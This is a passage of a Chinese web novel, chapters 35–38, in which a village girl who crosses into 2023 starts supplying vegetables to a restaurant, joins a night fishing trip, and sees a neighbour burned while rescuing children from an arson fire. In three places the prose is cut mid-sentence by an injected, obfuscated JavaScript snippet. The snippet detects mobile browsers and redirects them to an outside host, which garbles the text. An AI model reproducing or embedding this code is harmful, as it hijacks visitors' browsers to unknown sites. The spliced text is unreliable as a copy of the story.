赵小芸摇头，语气都格外严肃认真：“妈，这不叫教坏，我是让他们活的自在，别因为一些不相干的外人，让自己委屈难受，变得不像自己了。” 陈翠芳眉头深深皱起，想教育赵小芸，一时又想不出合适的说辞。 赵卫国看着紧张的场面，赶紧打圆场：“好了好了，吃饭，一家子随便聊聊，咋就还说来气了。” 吃过晚饭，陈翠芳心里还惦记着饭桌上说的那些话。 夫妻俩在外面散步消食。 陈翠芳一脸忧愁地和赵卫国说：“我一直就觉得咱家小芸和别的姑娘有些不一样，尤其是这两年，和她一说嫁人结婚的事儿，她就嘟着个嘴不高兴。” “本来我觉得她还小，不想离开家，况且结婚这事儿也不急，就也没多想。可今天你瞅瞅小芸说的那些话，我咋觉得……” 陈翠芳拧着眉，一时半会儿不知道该怎么形容。 “哦，对了，小芸说这些话，这个样子，好像有点儿像男孩子！” 陈翠芳愁的不行：“一个女孩子家家的，说什么要找好看的男人，你说说这……这像话吗？” 赵卫国哭笑不得：“咱闺女才十七岁，你也说了结婚不急，她想找啥样的人结婚就听她的呗，只要不是找个一无是处的就行，你就别操这么多心了。” 陈翠芳白了赵卫国一眼：“我哪能不操心？这可是咱亲闺女，我不操心行吗？你还是她爸呢，你说你咋就不急呢？” 赵卫国赶紧说：“我当然急，我是急在心里，没急在脸上。” “行行行，就你能说。” 赵卫国忍不住笑起来。 陈翠芳也笑了一声，没刚才那么烦躁了。 …… 第二天一早，赵卫国早早起来吃过早饭，带着收拾好的日常用品去县城上岗。 赵小芸托了方夏生骑自行车把赵卫国送到厂里，这次她没有一起去。 把赵卫国送到村口，看着两人的背影远去，赵小芸这才转身回家。 到家后，赵小芸找出两个竹编的菜篮子，拎着进入自家后院的菜园子里，把长熟的、长的好的菜都摘下来。 没一会儿，赵小芸就摘满了两篮子。 陈翠芳看见赵小芸提着满满两菜篮子的菜出来，惊讶道：“你摘这么多菜干啥？天这么热，吃不完可就放坏了。” “不是咱家自己吃的。”赵小芸说，“妈，我是准备送给店长和齐宏的，他们之前都帮了我很多，我也没啥东西能感谢他们的，咱家的菜长的好，我寻思给他们送点儿。” 35. 送菜感谢 陈翠芳有些为难地问：“就这点儿菜合适吗？” 这些菜也不值钱，店长可是送了小芸那么多衣服，还有那个齐宏，帮过小芸好几次，还借手电筒给她用，这些可不是一点儿不值钱的菜能还的。 “小芸，妈觉得送菜是不是不妥当啊？你不是说那边物资可丰富了，好东西多的买不完，他们也不稀罕这点儿菜吧？” 赵小芸把菜篮子放在地上，重新把这些菜整理整齐，冲着陈翠芳摇摇头说道：“妈，多少也都是我的心意，咱家现在拿不出啥贵的东西，但这些菜是我现在能拿出来的。” “我总不能拿不出好东西就不感谢人家了？一点儿菜对店长和齐宏来说，的确不算什么，但我感谢与不感谢是不一样的。” 陈翠芳一想，点头：“你说的也对，那我再去给你摘点儿……对了，墙角我种的几颗黄瓜藤结了好多黄瓜，新鲜脆嫩，可好吃了。” 赵小芸赶忙说：“妈，就再摘点儿黄瓜就行，别的菜不要了，再多了他们也吃不完，放坏了浪费。我这次先送一些，店长和齐宏他们要是喜欢吃，我过两天就再摘新鲜的送他们。” “行，知道了。”陈翠芳又去摘了几根新鲜水嫩的黄瓜过来，也都放进菜篮子里。 赵小芸提着满满两菜篮子新鲜蔬菜，穿过门，又一次来到二零二三年的世界。 先来了店长的奶茶店里，这里距离近。 店长今天也在店里，看见赵小芸来，高兴地请她进店里。 “店长，我就不进去了，这篮子菜是我家种的，不值什么，送给你，算是我的一点点心意。”赵小芸把一篮子菜递出去。 “这么多菜！”店长惊讶，赶紧接了过来，“这菜好新鲜啊，像是刚从地里摘出来的。” 还有，她瞧着这装菜的篮子也挺精致的。 赵小芸笑着点头：“就是刚摘的，店长，这些菜你先吃着，要是喜欢，我下次再给你摘。” “行，那我就收下了。”店长笑着说，“不过你别叫我店长了，叫我王姐吧！以后要是有什么困难，可以来找我。” 店长叫王玥，今年才三十出头， “好的王姐。”赵小芸从善如流地改口。 “王姐，那我就不打扰你工作了，这篮子菜我去送给齐宏，我先走了。” 赵小芸和王玥挥手告别，提着剩下的一篮子菜去找齐宏。 之前齐宏给她留过地址，是对方家里开的饭店地址。 赵小芸边走边问路，走了有半个多小时，到了目的地。 “到了！”赵小芸看着路边饭店上面写着的“全家福砂锅”五个大字，一脸欣喜，赶紧小跑过去，进入店里。 饭店里面面积不小，装修的有吧台和沙发小座，看着和那些路边摊明显不一样。 这会儿还不是正饭点时间，店里已经有客人，想来要是到了正午饭点时间，客人肯定爆满。 赵小芸见点餐的柜台后有人，直接走过去，不过还没开口，对方就先问道：“您好，吃点儿什么？” “啊……我不是来吃饭的，我找齐宏。”赵小芸从来没进过这么好的饭店，有些紧张，“我、我是齐宏的朋友，我叫赵小芸。” 店员哦了一声，回头冲后厨喊：“齐宏，你朋友来找你了。” “来了。”齐宏最近没找到新工作，他爸妈就把他拉进自家饭店帮忙，这会儿正在后厨配菜。 齐宏从后厨出来，看见赵小芸，略微有些意外：“小芸，是你呀！” 他在店里找了个空座位，让赵小芸一起坐下。 “找我啥事？” 赵小芸把菜篮子放到齐宏脚边，桌子上太干净了，她可不好意思往上面放，万一弄脏了就不好了。 “齐宏，你之前帮了好多，我也没啥东西可以感谢你的，这是我家里种的菜，我摘了一篮送给你，你先尝尝看，要是喜欢，以后我再摘了给你送过来。” 齐宏直接提着篮子放到桌子上：“哟，这菜新鲜啊！” “哎呀，你怎么还刚桌子上了，别把桌子弄脏了。”赵小芸赶紧提着篮子就要拿开。 “没事，我等会儿拿抹布擦一下就行。”齐宏按着篮子，把篮子按回来，翻看了一下里面的菜。 种类还挺多，这些菜长的新鲜水灵，扑面而来的蔬菜味道比那些大棚蔬菜霸道极了，一看就是没打过药，生长周期足够，日照雨水都十分充足。 而且他还能看出来，赵小芸都是挑了长得好的菜送他。 这时候，齐宏的妈妈从外面进来，一眼看见两人。 走过来问道：“卖菜的吗？” 说着还随手翻了一下菜篮子里的菜，哟了一声：“这菜挺新鲜啊！” 齐宏哭笑不得：“妈，这是我朋友，不是卖菜的，是她送我的。” 说着，脑子里突然冒出一个想法，看着赵小芸问道：“你家种的菜多吗？” 赵小芸也不知道齐宏说的多是多少，想了想给他描述：“我家前院后院都种了一些，院门口外面的空地上也种了一小片，反正自家吃是足够的。” “这样啊！”齐宏轻叹了口气，“要是你家种的菜多，我还想着买你家的菜，以后给我家饭店里当供货商。” 赵小芸第一反应是这不可能！ 那可是供货商啊！在奶茶店工作的时候，她可是见过店里的供货商的，人家开着一辆货车过来，后备箱里装满了一大箱一大箱的货物。 自己家只是种了那么没三分地的菜，而且齐宏家的饭店这么好，她怎么可能当供货商啊！ 齐宏妈妈仔细看了菜，她比齐宏还懂的多，不仅仅是开饭店后接触菜贩子，了解不少蔬菜，更是年轻时也是下地干过农活儿的，对田里的事儿知道的多。 她能看出赵小芸这一篮子菜，是完全纯天然无污染的绿色蔬菜，菜香味儿浓郁十足，用这种菜做饭做菜，可比那些打药催熟的菜有滋味儿多了。 齐宏妈妈很赞同自己儿子的一件，说了句可惜：“真的，你这菜的确不错，要是种的多，给我家提供菜就好了。” 赵小芸见齐宏妈妈也这么说，心里一想，就是啊！凭啥不可以，就只是卖点儿菜而已，又不是啥金贵东西，为啥不行？ 这么想通之后，赵小芸的脑子瞬间活泛起来。 “阿姨，您真的觉得这菜可以？” “当然。”齐宏妈妈看着赵小芸闪亮的眼睛，笑起来，“咋了小姑娘，你有啥想法？” 赵小芸说：“我家种的菜虽然不够，但我可以从其他地方收，要是数量多，可以卖给您店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14457406|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里吗？我可以给您便宜点儿。” “多的话倒是可以，不过你能保证你收来的其他菜，也是这个品质吗？” 赵小芸连忙点头：“我能保证！” 当然能保证，她想的办法是，从村里其他人家里收菜。 村里家家户户都种了不少菜，这些加起来量可不少。 齐宏妈妈考虑了一会儿：“那行，我先跟你定几天的菜试试。由于蔬菜必须要新鲜的，所以每天要送一次货。 “当天要的蔬菜种类和数量，我会在前一天六点前写好单子给你，你要保证第二天早上七点半前送到我的店里。” 赵小芸点头：“我都记下来了，我保证不耽误您。” 齐宏妈妈笑起来：“好，要是你这菜一直这么好，我一年四季都跟你买菜。” 赵小芸呆呆地说：“一年四季？那到冬天可就只有萝卜白菜了呀？” 她在超市里可是见过的，这里非应季的蔬菜水果也都有，想来就算是到了冬天，应该也能有非应季菜。 她也是后来才想起来，自古就有种植反季蔬菜的技术。 只不过以前的人们是搭棚子，烧地龙或者其他手段，把棚内的温度控制在适合蔬菜生长的范围。 但这种技术耗资大，不可能广泛应用。 二零二三年这里很神奇，也不知道人们如何做到大规模反季种植的。 齐宏妈妈知道赵小芸这是只种应季菜，笑容更深：“萝卜白菜好，我店里都要！” 她提起桌子上的一篮子菜，又说道：“你等会儿，我现在就把明天要的菜写下来，你明天早上给我送过来。以后的订单，你都在五六点的时候过来拿就行。” “好的阿姨。” 齐宏妈妈把菜拿到后厨，不过这篮子菜她当然不会给店里卖，毕竟是朋友送的，当然要自己家里吃。 过了一会儿，齐宏妈妈拿着一张打印的菜单出来：“小姑娘，你叫什么？” “阿姨，我叫赵小芸。” “好，小芸，这是我明天要的菜的菜单，你先看看有没有问题。”顺便还递给了赵小芸一支笔。 赵小芸接过菜单和笔认真查看。 她先整体看了一遍，这张订单是表格形式，数量、斤数写的清清楚楚。 赵小芸用笔尖点着其中几样蔬菜：“阿姨，这几种菜我家那里没有种。” 齐宏妈妈瞅了一眼：“行，你把没有的菜都圈出来。” 两人又讨论了一些小细节，赵小芸都一一记下。 最后，赵小芸收好订单和记下的问题，和齐宏与齐宏妈妈说了再见，准备回家。 刚走出店门口，赵小芸突然想起来一个严重的问题，自己家里没有秤啊！到时候咋称重量？ 赵小芸连忙又跑回来，一脸窘迫地问：“阿姨，您店里有秤吗？我家没有秤，您要是有秤的话，能不能先借我用用？我明天送菜的时候一起还过来。” 她现在手里就只剩下三十多块钱，不知道够不够买秤。 况且今天去买也来不及了，等她卖了菜之后，手里多攒点儿钱，再买新秤。 “可以！”齐宏妈妈让齐宏把店里的电子秤搬过来。 赵小芸看着电子秤傻眼：“阿姨，这个秤我不会用。” 36. 夜晚捕鱼 齐宏妈妈有些惊讶：“不会用？你没用过电子秤？” 赵小芸摇头：“我只用过秤砣的那种秤。” 齐宏妈妈噗嗤笑出来：“秤砣啊？”说着露出些许怀念，“我小时候倒是用过……小芸，没用过电子秤没关系，这个很简单的。” 教给赵小芸怎么用电子秤之后，她这才又抱着秤离开。 回到家，赵小芸先把电子秤给陈翠芳看。 陈翠芳惊讶：“又买东西了？这是啥稀罕玩意儿？” “不是买的，是借的。”赵小芸把卖菜买卖的事儿说了一遍。 陈翠芳下意识担忧起来：“咱这边可不兴做生意啊，这是投机倒把，要是被抓住问题可就大了。” “妈，你就放心吧，我先和村里相熟的人家里收菜，而且我也不用钱买，用粮食或者其他东西换，没事儿的。” 赵小芸很有自信，在村里换点儿东西算啥？ 你缺针，我缺盐，咱俩互相换缺的东西，不是很正常吗？ 没人会管的。 陈翠芳心里虽然担忧，但也没拦赵小芸，说：“去别人家换菜的事儿让我去吧，我跟你那些婶子大娘们更熟。” 赵小芸点点头，没说自己到时候跟着一起过去背菜。 “妈，电子秤我先放屋里，正好这会儿也没其他事了，我去把咱家的玻璃装上。” 陈翠芳提醒：“把秤放柜子里，玲玲小宇回来别给摸坏了……我先去做午饭。” “知道了！”赵小芸把电子秤放好，然后开始装玻璃。 本来觉得装玻璃很简单，但实际上手后发现，竟然还是有些麻烦的。 赵小芸在这里叮叮当当，企图把敲进木框里的钉子翘出来，因为订完了才发现，玻璃装不进去。 “小芸，你在干啥呢？”隔壁方夏生刚从地里回来，伸长脖子探着脑袋往这边看。 赵小芸甩了甩有些酸的手腕：“夏生哥，我在装玻璃呢。” 方夏生快步跑着，一个大跨步跳跃跳过篱笆墙，咚的一声落地：“我来帮你。” 赵小芸目瞪口呆地看着方夏生：“夏生哥，你跳的好高啊！” 方夏生眉眼都飞扬起来：“那是，我……” “你不怕万一没跳过来扎住屁股吗？”赵小芸一脸不可思议。 方夏生瞬间噎住，脸上的笑容变僵硬，走到赵小芸身边才干巴巴地说：“我才不会被扎到。” 赵小芸哈哈笑起来。 “哎，我帮你装玻璃。”方夏生把赵小芸的注意力引开，从她手里拿过锤子，闷头开始干活儿。 两个人合作比一个人快多了，没多会儿，玻璃就都装好了。 方夏生把锤子等工具放好：“地里的麦子都割完了，我下午有空，小芸，你还有其他事儿需要我帮忙吗？” “接下来地里也还有一堆活儿呢，你好不容易休息半天，就在家休息吧。”赵小芸说。 “你这么说……那就是有事儿要忙咯？”方夏生笑笑，“没事儿，我也没多累，有什么事直接找我，咱俩还客气啥？” 赵小芸考虑了一会儿，说：“好吧，那就辛苦你帮忙了夏生哥，我下午想去竹林里砍些竹子。” 竹子砍回来后，先把后院的篱笆墙扎起来，这样以后进出就不用怕被别人看见了。 吃过中午饭，赵小芸去换了一身方便干活儿的衣服，准备去找方夏生。 从家里出来前，抓了一把糖揣进兜里。 “夏生哥？” “来了！”方夏生拉着架子车出来，看见赵小芸换了衣服，冲她一招手，“走吧！” 赵小芸跟在方夏生身边，从兜里掏出糖果：“夏生哥，给你吃。” “给我？”方夏生看着赵小芸手里的一把糖，“这是……你从供销社买的？” 赵小芸点头：“对呀，不是供销社还能是哪里？昨天不是和我爸妈一起去县城了吗？我顺便去供销社买了一些东西。” “哦——”方夏生缓缓地点头，从赵小芸手里拿了两颗糖果，先剥了一个塞进嘴里。 这颗糖果是西瓜味儿的，有西瓜的清甜。 方夏生用牙齿轻轻咬着嘴里的糖果，心想自己好久好久没吃过这样的糖了。 赵小芸把剩下的也都塞进方夏生的口袋里：“拿着夏生哥，这些都是给你的。” 方夏生嘴里嗦着糖果，略有些含糊不清地说：“行，那我就收了。” 走出村里后，两人一起往竹林那边去。 方夏生见路边也没什么人了，就问：“小芸，想不想吃鱼？” “鱼？当然想吃了，鱼也是肉啊！谁不想吃肉呢？”赵小芸侧目打量着方夏生：“不过夏生哥，听你这个语气，你有办法弄到鱼？” 方夏生微笑点头。 赵小芸想了一下，突然嘶了一口气：“夏生哥，你该不会要去鱼塘里抓鱼吧？那可是公家的，要是被发现，你可就遭殃了！” 方夏生摆摆手：“放心放心，不是鱼塘，是河里。” 赵小芸嘴角一抽：“河里也不行啊！除非是村长组织，抓了鱼之后大家平分，不能私下里偷抓鱼的。” 方夏生嗐了一声：“私下里偷偷抓的人多了，村长其实也睁一只眼闭一只眼，没事儿。今天晚上我和刚子吴大约好了，去河里抓几条鱼吃，解解馋。要是抓的多，到时候我分你几条。” 赵小芸不太敢相信：“村长真的知道有人私底下偷偷抓鱼？” “当然是真的。” 既然是这样，那她也没啥可担心的了。 “那好，今天晚上我能和你们一起去抓鱼吗？” “你也想去？”方夏生考虑起来，他和刚子吴大准备了鱼食，到时候直接下食饵，然后撒网捕鱼，一般不会直接下深水区，基本上没什么危险，“行，你要是想去就一起。” 赵小芸高兴起来，她还没抓过鱼呢！ 希望能多抓一些鱼，这样家里就能吃鱼了，鱼肉又鲜又嫩，清蒸、红烧、炖汤都好吃。 对了，可以去二零二三年的超市里买一大块豆腐，做鱼头炖豆腐。 一想到好吃的，赵小芸口水都快留下来了，去竹林里砍竹子感觉力气都使不完。 赵小芸和方夏生砍了一车的竹子，拉着回村里。 …… 到了晚上，方夏生躲在赵小芸家后院，喵喵喵叫了三声，这是他们约定的信号。 陈翠芳莫名其妙：“哪里来的猫？” 赵小芸听见猫叫，赶紧站起来：“爸妈，我出去散散步，消消食儿。” 跑出来和方夏生碰头后，两人一起往河边去。 到了河边，周刚，还有和吴大都已经到了，吴大比方夏生他们大三四岁。 周刚看见两人，说：“夏生，小芸，你们过来了……鱼饵已经提前下下去了，再等会儿就撒一网试试。” 方夏生点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14464473|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头，又问：“下了几处鱼饵？” 吴大伸出三根手指：“三处，不过咱们鱼饵有限，可能吸引不了多少鱼。” “没事，试试再说，就是能捞上来一条咱们都是赚的。”方夏生说着去看渔网。 渔网是吴大家的，很破旧，不过还能用。 赵小芸也凑过来好奇地看渔网。 吴大努力瞪大眼睛看河面：“行了不？要不撒一网试试？” 今天有月亮，月光很好，不过晚上的河边有柳树落下的阴影，光线不强，周刚点燃一根蜡烛照亮河面观察。 “应该可以了，先撒一网试试。” 吴大一手拎着网，往河里面走，一直走到水淹没膝盖上面一点才停下，朝着他们之前下饵的地方用力一网撒出去。 大网被抛出一个大大的圆，噗的一声落入水中，有锥形的铁坠缀在渔网边缘，加快渔网下沉的速度。 渔网落水后，吴大静静地等待，赵小芸和方夏生、周刚三人也盯着河面，大气都不敢出。 等了一会儿，吴大开始缓缓收网。 一边拉网，一边往河岸上退，手中的重量让他心生期待。 最后，渔网被拖上岸，四个人赵小芸三人围过来，周刚举着蜡烛：“快看看有没有抓到鱼。” 吴大掀开渔网一角，一条小鱼小虾都没有，只有一些杂物，他把沾在网上的水草、树枝摘下来，捏着渔网掀开，如同叠纸一样落在一旁。 “鱼！有鱼！”赵小芸眼睛好，一眼看见一条手指长的细条小鱼，忍不住小声惊呼起来。 周刚抓起这条小鱼：“这也太小了吧！” 摇头叹气把小鱼丢进水桶里。 这时，吴大已经把渔网翻完了，第一网总共竟然才收获这么一条小鱼。 方夏生笑着安慰说：“没关系，咱们也算是开门红了。” 之后，又换了几个地点撒网，忙了好几个小时，最后收获五条大鱼，每条至少有两三斤重。 还有若干小鱼，如果放油锅里炸一炸，大概能炸出两大碗。 还捞了一些河蚌和虾，只不过虾太小了，也不多，费不着那个功夫吃，只能拿回去喂鸡。 这时已经是夜深，四个人收拾好渔网，把鱼分了分。 吴大提供渔网，分给了他两条大鱼，小鱼大家平分。 不过赵小芸说自己是半路进来的，本来只是想跟着一起看捕鱼，拿了一条大鱼已经不好意思了，就没分小鱼。 方夏生知道赵小芸不想占便宜，从兜里掏出今天赵小芸给他的糖果，给吴大和周刚一人分了两颗：“这是小芸给我的糖果，算是她半路加进来抓鱼的谢礼。” 吴大和周刚都不好意思。 吴大连忙推辞：“不用不用，今天晚上小芸也是帮忙了的，分一条鱼是应该的。” 糖果多贵啊！况且今天捕鱼就是无本买卖，也就弄鱼饵费了点儿时间和功夫。 “拿着吧！不然小芸下次就不好意思再来了。”方夏生这么说，也是想着下次再带赵小芸一起，两人就不会有意见。 吴大和周刚最后都收了糖果，觉得自己占便宜了，非把小鱼也分给赵小芸一些。 四人提着渔网和今晚的收获回去。 进入村子，黑夜里，燃烧的火光格外明亮显眼。 赵小芸疑惑地说：“怎么有火光？” 方夏生看见那火光，脸色大变：“不好，着火了！” 37. 着火 方夏生丢下手里的东西：“你们帮我拿回家。” 话没落音，人就已经跑了出去。 “哎！夏生！”周刚拿起方夏生的东西，“这蹿的也太快了吧！走，咱们也赶紧回去。” 赵小芸三人匆匆回村。 赵小芸也跑到着火的地方，村子里乱糟糟的，都被惊醒了，应该是方夏生跑回来的时候，一路大喊着叫醒的，大家都拎着水桶端着木盆，去着火的地方救火。 到了着火地点，赵小芸看见着火的人家，竟然是记分员王小军家里，心中突然生出几分怪异。 方夏生一路跑的飞快，边跑边叫醒了村里人。 到了着火的王小军家，他家已经乱糟糟，着火的房子里传出小孩哭喊的声音。 隔壁邻居也被吵醒了，看见大火，惊慌地喊起来。 大家拿上自家的水桶脸盆等所有能装水的，一起来帮忙救火。 现在正是刚收完麦子的时候，麦秸秆不仅村里的路上堆的都是，各家各户院子里也都有，平时烧火做饭都用。 麦秸秆易燃，这火要是不控制住，迅速蔓延到整个村子也是有可能的。 王小军家已经被烧的很厉害，方夏生找见他家的水缸，冲过去双手扒着水缸边沿，整个人跳进去，把自己浑身都湿透后，直接朝着火的房子里冲进去救人。 王小军的爸妈看见有人进屋里救人，还大声哭喊着：“先救我家宝根！救我家宝根啊！” 方夏生充耳不闻，一心救人。 屋里浓烟滚滚，方夏生撕下衣服上一块布，围住了口鼻。 “你们在哪儿？”方夏生弯腰伏得很低，寻着哭喊声来源，很快找到了孩子。 两个才两三岁的娃娃躲在被横梁压塌的床底下。 方夏生搬起床板，抬高足够的高度能让两个小孩儿爬出来：“快！快出来！” 两个小孩儿虽然被吓坏了，但行动力也不弱，估计是求生的本能。 俩小孩儿爬出来后，方夏生一手抱着一个往屋子外面跑。 门口的门也着起来了，火很凶，方夏生护着两个孩子，咬牙从火焰上面跳了出去。 落地后，他赶紧把小孩子放开，自己在地上打滚。 跟着跑过来的赵小芸直接把水泼到方夏生身上，浇灭他被烧着的衣服，震惊地问：“夏生哥，你没事吧？” “我没事，那俩孩子呢？” “他俩也没事。”赵小芸看了一眼抱着孩子哎哟哎哟叫喊的王小军和他爸妈。 “没事就好。”方夏生松了口气。 赵小芸去拉方夏生起来，碰到他的手，对方狠狠哆嗦了一下。 “夏生哥？”赵小芸这才注意到，方夏生的手烧伤了，顿时惊呼起来，“夏生哥，你的手被烧伤了！” 方夏生的手是抬床板的时候烧到了，手掌上一手被火烫出来的燎泡，还有皮肉直接被烧烂的，看着血肉模糊，吓人的很。 “伤的好严重啊！这可怎么办？”赵小芸急起来，烧伤用什么药？二零二三年那边的药店夜里还开门吗？ “夏生哥，你等我一下，我回家里找找有没有什么能治烧伤的药。” 赵小芸还没等方夏生回应，站起来就跑走了。 穿过门，赵小芸一路上几乎没停，一直跑到药店。 看着锁着门的药店，赵小芸心中失望。 对了，她突然想起来家里的碘伏，只是烧伤烫伤能用碘伏吗？ 赵小芸心里急的不行，一路跑的太快，这会儿胸口发闷，嗓子干疼，腿也有些发软。 不管碘伏能不能用，先回去拿给夏生哥看看。 赵小芸的体力几乎快耗尽，但依旧强撑着小跑回去。 回到家找出碘伏，拿着去找夏生哥。 方夏生这会儿已经从王小军家里回来，这会儿正在自己家，他爸妈和姐姐刚才也都去救火了，是和方夏生一起回来的。 林萍萍看着方夏生手上的烧伤，心疼的不行：“你说你咋就敢冲进火里去救人啊！要是有个什么万一……你、你说你！幸好没事，下次不准这么冲动了。” 方夏生当然不是冲动，不过他也知道家人被自己吓坏了，也没反驳，顺着说：“我知道了，下次肯定不会这么冲动。” “你这伤可咋整啊！”林萍萍担心的不行，生怕儿子的手烧坏了，以后万一留下什么毛病可怎么办？ “萍婶儿，夏生哥！”赵小芸过来，把碘伏拿出来，“我家里有一瓶碘伏，但是我不确定烧伤烫伤能不能用它。” “可以用。”方夏生说。 碘伏可以用来对皮肤黏膜进行消毒，在烧伤部位涂抹碘伏，可以在伤口上形成一层保护膜，能保护伤口，促进伤口愈合。 赵小芸惊喜：“真的？可以用？那夏生哥你快用！尽管用，用完了我、我家里还有。” 林萍萍也一脸欣喜：“小芸，真是太谢谢你了。” 方夏生说：“小芸，也不早了，你赶紧回去吧，碘伏我用完后明天还你。” 赵小芸点头：“那夏生哥我先回去了。” …… 这天晚上赵小芸睡的不怎么踏实，还做噩梦了，醒来感觉脑子浑身都是累的，比没睡觉还难受。 起床后，陈翠芳也早早就起了，准备给齐宏家的砂锅店送的菜，也都摘好装好了。 第一天店里要的菜量不算多，所以都是从自家摘的。 以防菜被压坏，陈翠芳还在装菜的竹筐里垫了麦秸秆，叶子菜则是用提篮单独装起来。 赵小芸洗漱完，背着竹筐，提着提篮，没忘记电子秤，也一起带上，准备去送菜：“妈，早饭我回来吃。” “拿俩包子路上吃，垫垫肚子。”陈翠芳从蒸笼里拿了俩刚蒸熟的热包子出来，追出来给赵小芸。 赵小芸接过包子吃着去了二零二三年。 这会儿也才早上六点多，约定的七点半时间绰绰有余。 赵小芸走得也不急，边走边把俩包子吃了，肚子里的饥饿缓解，就是有些干，想喝水。 到了“全家福砂锅”店，店门还没开，赵小芸以为对方还没来，就把竹筐和提篮都先放在地上，准备等会儿。 刚等了几分钟，店门突然打开，齐宏的妈妈徐丽红出来：“是小芸啊，来这么早呀，快进来。” 赵小芸转过身：“阿姨！你在店里？” 她跟着进店里，徐丽红说：“刚才在后厨忙呢，昨天忘了给你说了，下次送菜直接从后门进来就行，等会儿我带你去看看后门在哪儿。” 徐丽红和菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14472335|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单核对，验收了今天的蔬菜。 电子秤称重的时候，她发现赵小芸每种菜都会多给一些，这么实诚一个小姑娘，对她的好感更多了。 只是可惜，赵小芸家里种的菜品类有些少，不然都在她家里定菜就好了。 送完菜赵小芸就回家去了。 至于菜钱，她们昨天就商定好了，一周一结。 赵小芸又去了一趟药店，想买专门治烧伤的药。 然而烧伤药膏太贵了，她手里钱不够，遗憾地从药店里出来。 接下来她没再去其他地方，直接回家了。 刚吃过早饭，方夏生就过来找赵小芸：“小芸，碘伏还你。” 赵小芸摆摆手没要：“你拿着用。” 方夏生还在犹豫，赵小芸正一直看着他，发现除了手上，他胳膊和腿上也都有烫伤。 “夏生哥，你这烧伤也太严重了，你是为了救王小军的孩子才受伤的，他们家有说什么吗？至少也应该给你医药费吧？” 方夏生摇了摇头：“目前还没说什么，可能是他家里出事，这会儿还慌着吧！” 赵小芸撇嘴：“那至少也该过来说句道谢吧！” 方夏生笑笑：“没事，反正我也没图他们的感谢，孩子救出来就行。” 赵小芸盯着方夏生，半晌后叹了口气，问了句和昨天萍婶儿差不多的话：“夏生哥，你怎么就敢直接冲进那么大的火里呀？你都不害怕的吗？那么危险，万一出不来怎么办？” “我也没多想，听见呼救声条件反射就冲进去救人了。” “下次……呸，没下次了！”赵小芸本来想说下次再遇见这事儿，自己要小心点儿，但想想这么说也太不吉利了。 “哎，以后大家家里还是都注意一些，现在这天，天气干燥，村里家里还都堆的有麦秸秆，要是不小心烧着了可了不得。” “不是不小心，是有人故意纵火。”方夏生说。 赵小芸震惊：“什么？是有人故意……那个，故意放的火吗？” 方夏生点头：“人已经找出来了，是田叔。昨天田叔和方小军还有老光棍起冲突，老光棍口不择言说以后都不给田叔记工分了，田叔一时想岔，半夜里起来偷偷去方小军家里放了把火。” “竟然是田叔！”昨天的冲突，赵小芸也见了，但是她是真没想到，田叔这么老实巴交的人，竟然会去放火烧人！ 赵小芸还是觉得不敢置信：“怎么会是田叔呢？夏生哥，会不会弄错了？” “没弄错，田叔自己也都承认了。”方夏生叹气，田叔不只是因为昨天的一次冲突。 以前被欺负了太久，昨天的冲突是压倒骆驼的最后一根稻草，压抑到极点之后反而爆发的更厉害。 再加上昨天晚上田叔的孩子说要去上学了，想买作业本和铅笔，他心里有气，就说了几句气话，说家里没钱不上学了，上学有什么用…… 气话加抱怨，刺激到了田叔媳妇，就和他吵了起来。 田叔心里不痛快，估计是大晚上越想越难受，心里一时想偏，就干了后悔莫及的事儿。 方夏生说：“村长已经去县城请公安过来了。” 赵小芸更惊讶了：“村长竟然要去报警吗？我还以为村长会在村里私下处理。” 38. 报公安 “村长的确是说要田叔他们私下里处理的。”方夏生说，“只不过田叔不愿意。” 王小军家被烧，甚至还差点儿没命，都要恨死田叔了。 不过他们也都没有要报公安的念头，主要是村里的事儿都是在村长等村干部的见证下解决，一般都不会找公安。 因为太恨田叔，所以当村长问他们要怎么解决时，王小军一家瞬间狮子大开口。 房子要赔，要给他们家盖新房子。 而且在新房子盖起来之前，田叔家的房子要先让给他们住。 至于田叔一家让出房子后住哪里，他们才不管，谁让是田叔心黑狠毒竟敢烧了他家房子。 钱，也要赔。 王小军一家开口就要田叔赔二百块。 二百块，村里最富裕的人家里都没有这么多钱！ 王小军一家当然知道田叔拿不出来这二百块，所以也没说让田叔立刻一次性地拿出来，而是可以在每月、每年分批还，以后工分、粮食都要分给他们家。 连本带息，直到还清的那一天才算完。 田叔本来在放火后是后悔的，恶念起的那一刻，他只想着发泄自己的憋闷委屈，想要狠狠报复这些一直欺负他的人。 不过看着大火起，他脑子清醒过来，本来就是老实人……或者说不好听一些，是活的窝囊的人，自然后悔起来。 因为，他害怕承担、也承担不起放火的后果。 